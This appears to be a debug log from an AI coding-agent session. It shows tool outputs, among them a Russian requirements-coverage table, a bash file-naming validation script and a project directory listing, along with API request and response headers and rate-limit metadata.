\u0414\u0430; \u00a74.5.11.2.2@339-345; \u00a710.1@296-320; \u00a715.2@438-451 | \u0414\u0430; \u00a74.5.11.2.2@339-345; \u00a710.1@296-320; \u00a715.2@438-451 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 318 | \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u044c \u0437\u0432\u043e\u043d\u043a\u0430. | \u0414\u0430; \u00a74.5.3.4@226-231 | \u0414\u0430; \u00a710.6@104; \u00a76.11@66 | \u0414\u0430; \u00a710.6@104; \u00a76.11@66 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 319 | \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0437\u0432\u043e\u043d\u043a\u043e\u0432. | \u0414\u0430; \u00a74.5.3.4@226-231 | \u0414\u0430; \u00a7\u2014@52; \u00a710@100 | \u0414\u0430; \u00a7\u2014@52; \u00a710@100 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 321 | \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0432\u044b\u0431\u043e\u0440 \u043d\u043e\u043c\u0435\u0440\u0430 \u0434\u043b\u044f \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0437\u0432\u043e\u043d\u043a\u043e\u0432 \u0438\u0437 \u043d\u043e\u043c\u0435\u0440\u043d\u043e\u0439 \u0451\u043c\u2026 | \u041d\u0435\u0442; \u2014 | \u0414\u0430; \u00a76.1@61-62; \u00a74.5.19@414-416 | \u0414\u0430; \u00a76.1@61-62; \u00a74.5.19@414-416 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\",\n[2026-09-29T07:46:21.959Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:21.959Z] [INFO]       }\n[2026-09-29T07:46:21.959Z] [INFO]     ]\n[2026-09-29T07:46:21.959Z] [INFO]   },\n[2026-09-29T07:46:21.959Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:21.959Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:21.959Z] [INFO]   \"uuid\": \"5ec68f7e-de91-498a-b66c-f0680ab8cdb9\",\n[2026-09-29T07:46:21.959Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:21.767Z\",\n[2026-09-29T07:46:21.959Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:21.959Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:21.959Z] [INFO] }\n[2026-09-29T07:46:21.968Z] [STDOUT] [log_285801] sending request {\n[2026-09-29T07:46:21.972Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:21.976Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:21.978Z] [STDOUT]   options: {\n[2026-09-29T07:46:21.982Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:21.985Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:21.990Z] [STDOUT]     body: {\n[2026-09-29T07:46:21.993Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:21.997Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:22.005Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:22.010Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:22.015Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:22.018Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:22.021Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:22.026Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:22.031Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:22.034Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:22.037Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:22.039Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:22.044Z] [STDOUT]     },\n[2026-09-29T07:46:22.047Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:22.049Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:22.052Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:22.055Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:22.058Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:22.062Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:22.067Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:22.070Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:22.073Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:22.075Z] [STDOUT]       removeEventListener: [Function: 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\\\"${BASH_SOURCE[0]}\\\")/..\\\" && pwd)\\\"\\ncd \\\"$ROOT_DIR\\\"\\n\\nfailures=0\\n\\nfail() {\\n  printf 'ERROR: %s\\\\n' \\\"$1\\\" >&2\\n  failures=$((failures + 1))\\n}\\n\\nis_exception() {\\n  local basename=\\\"$1\\\"\\n\\n  case \\\"$basename\\\" in\\n    README.md | \\\\\\n    CHANGELOG.md | \\\\\\n    CONTRIBUTING.md | \\\\\\n    CODE_OF_CONDUCT.md | \\\\\\n    LICENSE | \\\\\\n    LICENSE.md | \\\\\\n    GOVERNANCE.md | \\\\\\n    *-registry.md | \\\\\\n    *-index.md | \\\\\\n    *-Index.md)\\n      return 0\\n      ;;\\n    *)\\n      return 1\\n      ;;\\n  esac\\n}\\n\\n# Reference Research Pattern (Experimental, docs/rfc/2026-07-17-rfc-reference-research-pattern.md):\\n# a multi-file research module lives in research/// and numbers\\n# its files by reading order (00, 10, 20, ...), not by date. The module's files have\\n# no single meaningful date \u2014 they are updated on different cycles by design \u2014 so the\\n# chronology stays in frontmatter `updated`. The exception is deliberately narrow: it\\n# applies only inside a directory that declares itself a module by holding a 00-*.md\\n# entry point. Scope of the exception is an open question for the founder (RFC P6).\\nis_reference_pattern_module_file() {\\n  local file=\\\"$1\\\"\\n  local basename=\\\"${file##*/}\\\"\\n  local dir=\\\"${file%/*}\\\"\\n\\n  [[ \\\"$basename\\\" =~ ^(00|10|20|30|40|50)-[a-z0-9]+(-[a-z0-9]+)*\\\\.md$ ]] || return 1\\n  compgen -G \\\"$dir/00-*.md\\\" >/dev/null || return 1\\n  return 0\\n}\\n\\nis_daily_chronological_name() {\\n  local basename=\\\"$1\\\"\\n\\n  [[ \\\"$basename\\\" =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}-[a-z0-9]+(-[a-z0-9]+)*(\\\\.[a-z]{2}(-[a-z]{2})*)?\\\\.md$ ]]\\n}\\n\\nis_monthly_chronological_name() {\\n  local basename=\\\"$1\\\"\\n\\n  [[ \\\"$basename\\\" =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}- ]] && return 1\\n  [[ \\\"$basename\\\" =~ ^([0-9]{4}|[0-9]{4}-[0-9]{2})-[a-z0-9]+(-[a-z0-9]+)*(\\\\.[a-z]{2}(-[a-z]{2})*)?\\\\.md$ ]]\\n}\\n\\nis_adr_chronological_name() {\\n  local basename=\\\"$1\\\"\\n\\n  [[ \\\"$basename\\\" =~ ^[0-9]{4}-[0-9]{2}-adr-[0-9]{3}-[a-z0-9]+(-[a-z0-9]+)*(\\\\.[a-z]{2}(-[a-z]{2})*)?\\\\.md$ ]]\\n}\\n\\nvalidate_file() {\\n  local file=\\\"$1\\\"\\n  local predicate=\\\"$2\\\"\\n  local expected_format=\\\"$3\\\"\\n  local basename=\\\"${file##*/}\\\"\\n\\n  if is_exception \\\"$basename\\\"; then\\n    return\\n  fi\\n\\n  if [[ \\\"$file\\\" == research/* ]] && is_reference_pattern_module_file \\\"$file\\\"; then\\n    return\\n  fi\\n\\n  if ! \\\"$predicate\\\" \\\"$basename\\\"; then\\n    fail \\\"chronological markdown file must use $expected_format: $file\\\"\\n  fi\\n}\\n\\nvalidate_tree() {\\n  local dir=\\\"$1\\\"\\n  local predicate=\\\"$2\\\"\\n  local expected_format=\\\"$3\\\"\\n\\n  [[ -d \\\"$dir\\\" ]] || return 0\\n\\n  while IFS= read -r file; do\\n    validate_file \\\"$file\\\" \\\"$predicate\\\" \\\"$expected_format\\\"\\n  done < <(find \\\"$dir\\\" -type f -name '*.md' | sort)\\n}\\n\\nvalidate_tree \\\"research\\\" \\\"is_daily_chronological_name\\\" \\\"YYYY-MM-DD-name.md\\\"\\nvalidate_tree \\\"docs/analysis\\\" \\\"is_daily_chronological_name\\\" \\\"YYYY-MM-DD-name.md\\\"\\nvalidate_tree \\\"docs/report\\\" \\\"is_daily_chronological_name\\\" \\\"YYYY-MM-DD-name.md\\\"\\nvalidate_tree \\\"docs/audit\\\" \\\"is_daily_chronological_name\\\" \\\"YYYY-MM-DD-name.md\\\"\\n# docs/rfc/ intentionally not chronologically validated on the Hub: per\\n# rfc-structure-standard.md the Hub RFC rule is `YYYY-MM-DD-rfc-*` for new dated\\n# RFCs while legacy names stay unchanged (descriptive). The `YYYY-MM`/`YYYY`\\n# monthly rule (standards/file-naming.md) is the spoke rule; enforcing it here\\n# would reject the Hub's own standard-compliant legacy RFC corpus after the\\n# ADR-007/B-048 migration.\\nvalidate_tree \\\"docs/adr\\\" \\\"is_adr_chronological_name\\\" \\\"YYYY-MM-adr-NNN-name.md\\\"\\n\\n# Evidence files under the canonical exp// container are snapshots,\\n# not standalone research reports, so their names are intentionally excluded\\n# from the chronological report rule. Structure is enforced separately.\\n\\nif (( failures > 0 )); then\\n  printf 'File naming validation failed with %d error(s).\\\\n' \\\"$failures\\\" >&2\\nprojects/ba-ai-process:\\nREADME.md\\nba-meta-model\\nbuild\\ndecisions\\ndist\\ndocs\\nexperiments\\nmeta-model-guides\\ntests\\n\\nprojects/ba-ai-process/docs:\\nadr\\nanalysis\\nrfc\\n\\nprojects/ba-ai-process/docs/adr/:\\n2026-09-adr-018-gigacode-cli-execution-boundary.md\\n2026-09-adr-019-cline-mango-ai-pilot.md\\n\\nprojects/ba-ai-process/docs/analysis/:\\n2026-09-23-bcreq-golden-forms-and-feasibility.md\\n2026-09-23-requirements-run-forensics.md\\n2026-09-24-architecture-convergence-and-readiness.md\\n2026-09-29-ba-ai-process-runtime-options.md\\n2026-09-29-cline-package-expectation-gap.md\\n\\nprojects/ba-ai-process/docs/rfc/:\\n2026-09-bcreq-abstraction-and-product-routing.md\\n2026-09-bcreq-working-release-pipeline.md\\n2026-09-mango-ba-ai-runtime-cli-deployment.md\\n2026-09-source-pilot-verification.md\",\n[2026-09-29T07:46:22.225Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:22.225Z] [INFO]       }\n[2026-09-29T07:46:22.225Z] [INFO]     ]\n[2026-09-29T07:46:22.225Z] [INFO]   },\n[2026-09-29T07:46:22.225Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:22.225Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:22.225Z] [INFO]   \"uuid\": \"691aa034-1836-47be-9fda-fc5e95c9fcce\",\n[2026-09-29T07:46:22.225Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:22.206Z\",\n[2026-09-29T07:46:22.225Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:46:22.225Z] [INFO]     \"stdout\": \"#!/usr/bin/env bash\\nset -euo pipefail\\n\\nROOT_DIR=\\\"$(cd \\\"$(dirname \\\"${BASH_SOURCE[0]}\\\")/..\\\" && pwd)\\\"\\ncd \\\"$ROOT_DIR\\\"\\n\\nfailures=0\\n\\nfail() {\\n  printf 'ERROR: %s\\\\n' \\\"$1\\\" >&2\\n  failures=$((failures + 1))\\n}\\n\\nis_exception() {\\n  local basename=\\\"$1\\\"\\n\\n  case \\\"$basename\\\" in\\n    README.md | \\\\\\n    CHANGELOG.md | \\\\\\n    CONTRIBUTING.md | \\\\\\n    CODE_OF_CONDUCT.md | \\\\\\n    LICENSE | \\\\\\n    LICENSE.md | \\\\\\n    GOVERNANCE.md | \\\\\\n    *-registry.md | \\\\\\n    *-index.md | \\\\\\n    *-Index.md)\\n      return 0\\n      ;;\\n    *)\\n      return 1\\n      ;;\\n  esac\\n}\\n\\n# Reference Research Pattern (Experimental, docs/rfc/2026-07-17-rfc-reference-research-pattern.md):\\n# a multi-file research module lives in research/// and numbers\\n# its files by reading order (00, 10, 20, ...), not by date. The module's files have\\n# no single meaningful date \u2014 they are updated on different cycles by design \u2014 so the\\n# chronology stays in frontmatter `updated`. The exception is deliberately narrow: it\\n# applies only inside a directory that declares itself a module by holding a 00-*.md\\n# entry point. Scope of the exception is an open question for the founder (RFC P6).\\nis_reference_pattern_module_file() {\\n  local file=\\\"$1\\\"\\n  local basename=\\\"${file##*/}\\\"\\n  local dir=\\\"${file%/*}\\\"\\n\\n  [[ \\\"$basename\\\" =~ ^(00|10|20|30|40|50)-[a-z0-9]+(-[a-z0-9]+)*\\\\.md$ ]] || return 1\\n  compgen -G \\\"$dir/00-*.md\\\" >/dev/null || return 1\\n  return 0\\n}\\n\\nis_daily_chronological_name() {\\n  local basename=\\\"$1\\\"\\n\\n  [[ \\\"$basename\\\" =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}-[a-z0-9]+(-[a-z0-9]+)*(\\\\.[a-z]{2}(-[a-z]{2})*)?\\\\.md$ ]]\\n}\\n\\nis_monthly_chronological_name() {\\n  local basename=\\\"$1\\\"\\n\\n  [[ \\\"$basename\\\" =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}- ]] && return 1\\n  [[ \\\"$basename\\\" =~ ^([0-9]{4}|[0-9]{4}-[0-9]{2})-[a-z0-9]+(-[a-z0-9]+)*(\\\\.[a-z]{2}(-[a-z]{2})*)?\\\\.md$ ]]\\n}\\n\\nis_adr_chronological_name() {\\n  local basename=\\\"$1\\\"\\n\\n  [[ \\\"$basename\\\" =~ ^[0-9]{4}-[0-9]{2}-adr-[0-9]{3}-[a-z0-9]+(-[a-z0-9]+)*(\\\\.[a-z]{2}(-[a-z]{2})*)?\\\\.md$ ]]\\n}\\n\\nvalidate_file() {\\n  local file=\\\"$1\\\"\\n  local predicate=\\\"$2\\\"\\n  local expected_format=\\\"$3\\\"\\n  local basename=\\\"${file##*/}\\\"\\n\\n  if is_exception \\\"$basename\\\"; then\\n    return\\n  fi\\n\\n  if [[ \\\"$file\\\" == research/* ]] && is_reference_pattern_module_file \\\"$file\\\"; then\\n    return\\n  fi\\n\\n  if ! \\\"$predicate\\\" \\\"$basename\\\"; then\\n    fail \\\"chronological markdown file must use $expected_format: $file\\\"\\n  fi\\n}\\n\\nvalidate_tree() {\\n  local dir=\\\"$1\\\"\\n  local predicate=\\\"$2\\\"\\n  local expected_format=\\\"$3\\\"\\n\\n  [[ -d \\\"$dir\\\" ]] || return 0\\n\\n  while IFS= read -r file; do\\n    validate_file \\\"$file\\\" \\\"$predicate\\\" \\\"$expected_format\\\"\\n  done < <(find \\\"$dir\\\" -type f -name '*.md' | sort)\\n}\\n\\nvalidate_tree \\\"research\\\" \\\"is_daily_chronological_name\\\" \\\"YYYY-MM-DD-name.md\\\"\\nvalidate_tree \\\"docs/analysis\\\" \\\"is_daily_chronological_name\\\" \\\"YYYY-MM-DD-name.md\\\"\\nvalidate_tree \\\"docs/report\\\" \\\"is_daily_chronological_name\\\" \\\"YYYY-MM-DD-name.md\\\"\\nvalidate_tree \\\"docs/audit\\\" \\\"is_daily_chronological_name\\\" \\\"YYYY-MM-DD-name.md\\\"\\n# docs/rfc/ intentionally not chronologically validated on the Hub: per\\n# rfc-structure-standard.md the Hub RFC rule is `YYYY-MM-DD-rfc-*` for new dated\\n# RFCs while legacy names stay unchanged (descriptive). The `YYYY-MM`/`YYYY`\\n# monthly rule (standards/file-naming.md) is the spoke rule; enforcing it here\\n# would reject the Hub's own standard-compliant legacy RFC corpus after the\\n# ADR-007/B-048 migration.\\nvalidate_tree \\\"docs/adr\\\" \\\"is_adr_chronological_name\\\" \\\"YYYY-MM-adr-NNN-name.md\\\"\\n\\n# Evidence files under the canonical exp// container are snapshots,\\n# not standalone research reports, so their names are intentionally excluded\\n# from the chronological report rule. Structure is enforced separately.\\n\\nif (( failures > 0 )); then\\n  printf 'File naming validation failed with %d error(s).\\\\n' \\\"$failures\\\" >&2\\nprojects/ba-ai-process:\\nREADME.md\\nba-meta-model\\nbuild\\ndecisions\\ndist\\ndocs\\nexperiments\\nmeta-model-guides\\ntests\\n\\nprojects/ba-ai-process/docs:\\nadr\\nanalysis\\nrfc\\n\\nprojects/ba-ai-process/docs/adr/:\\n2026-09-adr-018-gigacode-cli-execution-boundary.md\\n2026-09-adr-019-cline-mango-ai-pilot.md\\n\\nprojects/ba-ai-process/docs/analysis/:\\n2026-09-23-bcreq-golden-forms-and-feasibility.md\\n2026-09-23-requirements-run-forensics.md\\n2026-09-24-architecture-convergence-and-readiness.md\\n2026-09-29-ba-ai-process-runtime-options.md\\n2026-09-29-cline-package-expectation-gap.md\\n\\nprojects/ba-ai-process/docs/rfc/:\\n2026-09-bcreq-abstraction-and-product-routing.md\\n2026-09-bcreq-working-release-pipeline.md\\n2026-09-mango-ba-ai-runtime-cli-deployment.md\\n2026-09-source-pilot-verification.md\",\n[2026-09-29T07:46:22.225Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:46:22.225Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:46:22.225Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:46:22.225Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:46:22.225Z] [INFO]   }\n[2026-09-29T07:46:22.225Z] [INFO] }\n[2026-09-29T07:46:22.260Z] [STDOUT] [log_ee652c] sending request {\n[2026-09-29T07:46:22.264Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:22.271Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:22.277Z] [STDOUT]   options: {\n[2026-09-29T07:46:22.280Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:22.285Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:22.287Z] [STDOUT]     body: {\n[2026-09-29T07:46:22.290Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:22.295Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:22.298Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:22.303Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:22.307Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:22.312Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:22.317Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:22.322Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:22.324Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:22.327Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:22.333Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:22.338Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:22.341Z] [STDOUT]     },\n[2026-09-29T07:46:22.345Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:22.350Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:22.354Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:22.358Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:22.361Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:22.365Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:22.368Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:22.371Z] [STDOUT]       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\"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:22.471Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:22.474Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:22.477Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:22.481Z] [STDOUT]   },\n[2026-09-29T07:46:22.484Z] [STDOUT] }\n[2026-09-29T07:46:22.820Z] [STDOUT] [log_285801, request-id: \"req_011CfXMpxgzuQB9F3ayaQXJD\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1019ms\n[2026-09-29T07:46:22.827Z] [STDOUT] [log_285801] response start {\n[2026-09-29T07:46:22.837Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:22.840Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:22.845Z] [STDOUT]   headers: {\n[2026-09-29T07:46:22.861Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:22.909Z] [STDOUT]     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\"rejected\",\n[2026-09-29T07:46:22.970Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:22.974Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:22.980Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:22.989Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:22.992Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:22.998Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:23.008Z] [STDOUT]     \"cf-ray\": \"a4295fa64dd329ad-FRA\",\n[2026-09-29T07:46:23.010Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:23.017Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:23.022Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:23.026Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:23.034Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:22 GMT\",\n[2026-09-29T07:46:23.038Z] [STDOUT]     \"request-id\": \"req_011CfXMpxgzuQB9F3ayaQXJD\",\n[2026-09-29T07:46:23.045Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:23.052Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:23.058Z] [STDOUT]     traceresponse: \"00-9a3c0bdb461f3420d45c65be12b10091-68d9a72559cfc1d5-01\",\n[2026-09-29T07:46:23.065Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:23.078Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:23.085Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:23.094Z] [STDOUT]   },\n[2026-09-29T07:46:23.103Z] [STDOUT]   durationMs: 1019,\n[2026-09-29T07:46:23.105Z] [STDOUT] }\n[2026-09-29T07:46:23.110Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:23.116Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:22 GMT\",\n[2026-09-29T07:46:23.125Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:23.135Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:23.140Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:23.146Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:23.150Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:23.155Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:23.157Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:23.162Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:23.166Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:23.169Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:23.175Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:23.177Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:23.183Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:23.185Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:23.189Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:23.194Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:23.198Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:23.200Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:23.205Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:23.207Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:23.210Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:23.212Z] [STDOUT]   \"request-id\": \"req_011CfXMpxgzuQB9F3ayaQXJD\",\n[2026-09-29T07:46:23.216Z] [STDOUT]   \"traceresponse\": \"00-9a3c0bdb461f3420d45c65be12b10091-68d9a72559cfc1d5-01\",\n[2026-09-29T07:46:23.220Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:23.223Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:23.226Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:23.231Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:23.236Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:23.241Z] [STDOUT]   \"cf-ray\": \"a4295fa64dd329ad-FRA\",\n[2026-09-29T07:46:23.244Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:23.247Z] [STDOUT] [log_285801] response parsed {\n[2026-09-29T07:46:23.250Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:23.254Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:23.260Z] [STDOUT]   body: X {\n[2026-09-29T07:46:23.269Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:23.271Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:23.275Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:23.280Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:23.290Z] [STDOUT]     },\n[2026-09-29T07:46:23.296Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:23.300Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:23.306Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:23.311Z] [STDOUT]   },\n[2026-09-29T07:46:23.316Z] [STDOUT]   durationMs: 1020,\n[2026-09-29T07:46:23.323Z] [STDOUT] }\n[2026-09-29T07:46:23.327Z] [STDOUT] [log_ee652c, request-id: \"req_011CfXMpzc5ugQTu3rbjUsww\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 765ms\n[2026-09-29T07:46:23.334Z] [STDOUT] [log_ee652c] response start {\n[2026-09-29T07:46:23.338Z] [STDOUT]   url: 